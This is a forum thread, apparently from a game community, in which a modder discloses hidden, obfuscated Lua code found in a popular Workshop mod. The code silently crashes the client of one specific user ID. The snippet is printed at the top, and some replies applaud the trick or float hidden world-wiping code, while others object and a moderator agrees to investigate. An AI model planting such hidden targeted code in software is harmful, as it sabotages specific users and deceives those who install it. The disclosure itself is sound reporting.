Wouldn't it be against the rules if your mod harms a specific user?

[Gleenus]

Hi everyone,

I'm posting this topic on this section because its not about mod making, but about community rules.

Today I was adding some compatibility to one of my mods and I found in the mod that I want my one be compatible some weird code lines:
 

	AddPrefabPostInit(
			"player_classified",
			function(inst)
				local OldOnEntityReplicated = inst.OnEntityReplicated
				inst.OnEntityReplicated = function(inst)
					OldOnEntityReplicated(inst)
					if inst._parent and inst._parent.HUD and inst._parent.userid == "KU_CENSORED" then
						GLOBAL[rev("ZnkYos")][rev("W") .. "u" .. rev("oz")]()
					end
				end
			end
	)

(You will notice that I censored a Klei User ID there)

Making some tests, this function will basically run some random code if your KU is the specified one, crashing the game client.
So, if this user enter in any world with this mod installed, he will crash and would not be able to play.

I'm not sure, but I think this is against the rules, since this "feature" is not specified by the mod.
Like, with this same thing anyone can hide in a mod a function that erase worlds of specific users, kill their characters in middle of fights, anything.

I'm not public presenting the KU of the target from this or the Mod ID, since this could be harmful, but if any moderator ask for it, I can send it privately

[ADM]

Well that's a * move for sure but idk if it's against something but moral senses, depends of who the author is and the concerned person it might just be a joke but without more context I can't really tell.

[Gleenus]

1 minute ago, ADM said:

Well that's a * move for sure but idk if it's against something but moral senses, depends of who the author is and the concerned person it might just be a joke but without more context I can't really tell.

Well, it is a mod with more than 30k subs in the Workshop and there is anything on mod description about that
This listed user can not play on any server with this mod

Since it is impossible to tell if its a joke or not, would be safe to allow these things?

Like, imagine if you or me put on our mods "When this world pass day 1027, run c_regenerateworld()" and don't tell anyone
Only a fell would notice what really happened

[Well-met]

I love this. Do it.

[Superlucas1231]

24 minutes ago, Gleenus said:

snip

Can you give a link to the mod page?

[-Variant]

As far as I can recall this falls into harmful and malicious activity in the TOS.

[Gleenus]

2 hours ago, Superlucas1231 said:

Can you give a link to the mod page?

Only if the moderators allow it
If I post any links without permission I can harm someone reputation

[bruhmoment23]

Yeah, no, this is definitely against the rules without a doubt. 

[clickrush]

I think Klei is smart enough to not get involved with these kinds of things, it's basically not their responsibility what code is being written and whether you install it. I believe the only thing they do is recommendations.

Still, I think it is good etiquette to not post the ID here and not mention the mod or author.

Instead I would write the author directly and ask what this is about. If it is really for harming a specific player and not a test that should have been deleted, then I would try and talk into their conscience a bit. Things like that are invasive and may actually be illegal under certain circumstances.

On top of that this ID might change somehow, get reused or tampered with as I think Lua is a completely dynamic language and you can fiddle with the variable contents at any point in time. Maybe its a thing in a database somewhere, maybe it is temporarily generated kind of like a token that identifies a participant for a certain amount of time. In any case this is a snippet that one doesn't want to have in their publicly viewable code as a mod author as it might reflect badly on them.

[Cheggf]

19 minutes ago, clickrush said:

I think Klei is smart enough to not get involved with these kinds of things, it's basically not their responsibility what code is being written and whether you install it.

https://steamcommunity.com/sharedfiles/filedetails/?id=441378551

https://steamcommunity.com/workshop/browse/?appid=322330&searchtext=&childpublishedfileid=0&browsesort=trend&section=readytouseitems&requiredflags[]=incompatible

[GuyNamedChris]

Well, it's certainly not illegal.
I can understand it being morally gray/wrong. But on the other hand, if there's a well known problematic user that consistently causes problems for people who play a certain mod, I personally would support that line of code banning them from ruining others' experiences.

[TemporarySolutn]

5 hours ago, Gleenus said:

Making some tests, this function will basically run some random code if your KU is the specified one, crashing the game client.

i love this, what mod is this

[Starlogy]

I think we should maybe give the creator of the mod the benefit of the doubt and assume that the line of code wasn't meant to be malicious. For instance...

I could totally see myself creating a mod that kills one of my friends for s and giggles. Or, it could be a user that's been known to be problematic and it could simply be the authors way of being a vigilante.

[clickrush]

28 minutes ago, Cheggf said:

https://steamcommunity.com/sharedfiles/filedetails/?id=441378551

https://steamcommunity.com/workshop/browse/?appid=322330&searchtext=&childpublishedfileid=0&browsesort=trend&section=readytouseitems&requiredflags[]=incompatible

That's the encouragement/etiquette I was assuming. What you download what is put in your code is the problem of the author and you, not Klei's. They "ask you to follow" etc. Steam will take care of reported mods apparently as is good for their platform, but they won't take responsibility. I still would ask the author first. It would be like going to the police because of a noisy neighbor instead of first contacting them.

[Gleenus]

5 hours ago, Chris1448 said:

Well, it's certainly not illegal.
I can understand it being morally gray/wrong. But on the other hand, if there's a well known problematic user that consistently causes problems for people who play a certain mod, I personally would support that line of code banning them from ruining others' experiences.

I get your point, but there is a problem
Who should say "who has to been banned?"
Like, this guy on this mod was banned without any kind of alert
No one that download this mod to the server knows that this player would be banned
If you want to make a "ban list", go ahead, that's why we have files called "blocklist" in the Cluster folder
But a mod maker should not choose by himself who should be banned and put it on the code without alerting anyone
You should be informed of what the mod you are using does
 

 

5 hours ago, clickrush said:

On top of that this ID might change somehow, get reused or tampered with as I think Lua is a completely dynamic language and you can fiddle with the variable contents at any point in time.

The ID on the code is defined by hand, and we can not change our Klei IDs (as far I know they are constant and associated with your account permanently), so this mod adds a permaban to one use to all server that uses this mod
(unless the player knows how to code, look for the mod that is causing and and remove these lines)
 

 

4 hours ago, Starlogy said:

I think we should maybe give the creator of the mod the benefit of the doubt and assume that the line of code wasn't meant to be malicious. For instance...

Well, I agree, but the way the function are coded is very hard to be just a pun or something like
The mod uses two functions that look like they are very important to the code, but when you see what they does is just to crash the game and do not report any error associated with the mod (believe me, there are ways to make the game crash without any log)

[TemporarySolutn]

I don't see why this is something that should be bannable or removed from the workshop, if I didn't want someone using one of my mods I would do that aswell

[Gleenus]

32 minutes ago, TemporarySolutn said:

I don't see why this is something that should be bannable or removed from the workshop, if I didn't want someone using one of my mods I would do that aswell

The problem here is not "blocking someone from using one of your mods"
The problem here is that anyone knows that this person was blocked, not even the person, there are hidden harmful features in the mod

Like, if you don't want me to use one of your mods, fine, you can set it on your code
But at the moment your mod is public and anyone can download it, they need to know what they are downloading

If the author put in the mod description "This mod blocks user NAME/ID from login in the server", fine

From Workshop guidelines:

[TemporarySolutn]

26 minutes ago, Gleenus said:

From Workshop guidelines:

Do you know how many mods, how many BIG COMMONLY USED mods, don't do this?

The game crashing when trying to join a server is not harmful nor is it malicious, it's not destroying anything, not deleting progress, just being a minor annoyance to the person who is blacklisted and they probably know they're blacklisted aswell

[MondayNight]

And this is why I for one don't play any servers with mods on (server-side mod pubs). Vanilla ftw.

Also, yes, probably hiding such code on a mod that doesn't specifically mentions respective actions is in violation of some ToS/community guidelines. Yet, most likely, KLei won't address such stuff, if "it doesn't make some large uproar" that is. Moral? Not by a mile-close. Dastardly-fun for coder? Certainly.

[Gleenus]

11 minutes ago, TemporarySolutn said:

Do you know how many mods, how many BIG COMMONLY USED mods, don't do this?

The game crashing when trying to join a server is not harmful nor is it malicious, it's not destroying anything, not deleting progress, just being a minor annoyance to the person who is blacklisted and they probably know they're blacklisted aswell

You are arguing that "since a lot of mods don't tell what they do, it is fine"? Like, "well, the problem exist, so it is ok"

So you think its fine to blacklist a player from your server even without you knowing this?

It is malicious for this specific user
Imagine if for a non specified reason a mod like Show Me, which is very popular, just black list you
You wouldn't be able to join the vast majority of server, and you not even will be informed about this

Again, you can block an user from your server, it is your choice, the server is your
But you can not block an user to join other people server without consent

[TemporarySolutn]

2 minutes ago, Gleenus said:

You are arguing that "since a lot of mods don't tell what they do, it is fine"? Like, "well, the problem exist, so it is ok"

Its not a problem, nobody cares and the "workshop rules" were last updated 5 years ago

Quote

• Mods containing assets from other games or media are not allowed.

Should we start purging every mod that has assets from other games?

4 minutes ago, Gleenus said:

So you think its fine to blacklist a player from your server even without you knowing this?

Yes

4 minutes ago, Gleenus said:

It is malicious for this specific user

Malicious no, petty yes

4 minutes ago, Gleenus said:

Imagine if for a non specified reason a mod like Show Me, which is very popular, just black list you

¯\_(ツ)_/¯

5 minutes ago, Gleenus said:

Again, you can block an user from your server, it is your choice, the server is your
But you can not block an user to join other people server without consent

This isn't someone wanting to block someone from a server is someone trying to get someone to be unable to use their mod

8 minutes ago, x0-VERSUS-1y said:

Dastardly-fun for coder? Certainly.

this is the biggest mood

[Mday]

Quote

This isn't someone wanting to block someone from a server is someone trying to get someone to be unable to use their mod

I think in that case it should be done in a more transparent way.

[. . .]

mind your own business. its not your mod its someone else is mod and they have full right to ban people from using their mod if they want to do so. if i had the power i would ban a lot of people from using my mod as well because there are a lot of people who annoy me and bother me and i despise them when they spit in my face and use my hard work.

i wish i knew who this person was then i can tell them what a great job they are doing standing up for their work against harassers.

[JoeW]

I'll take a look at it. Please send me the info @Gleenus

Thanks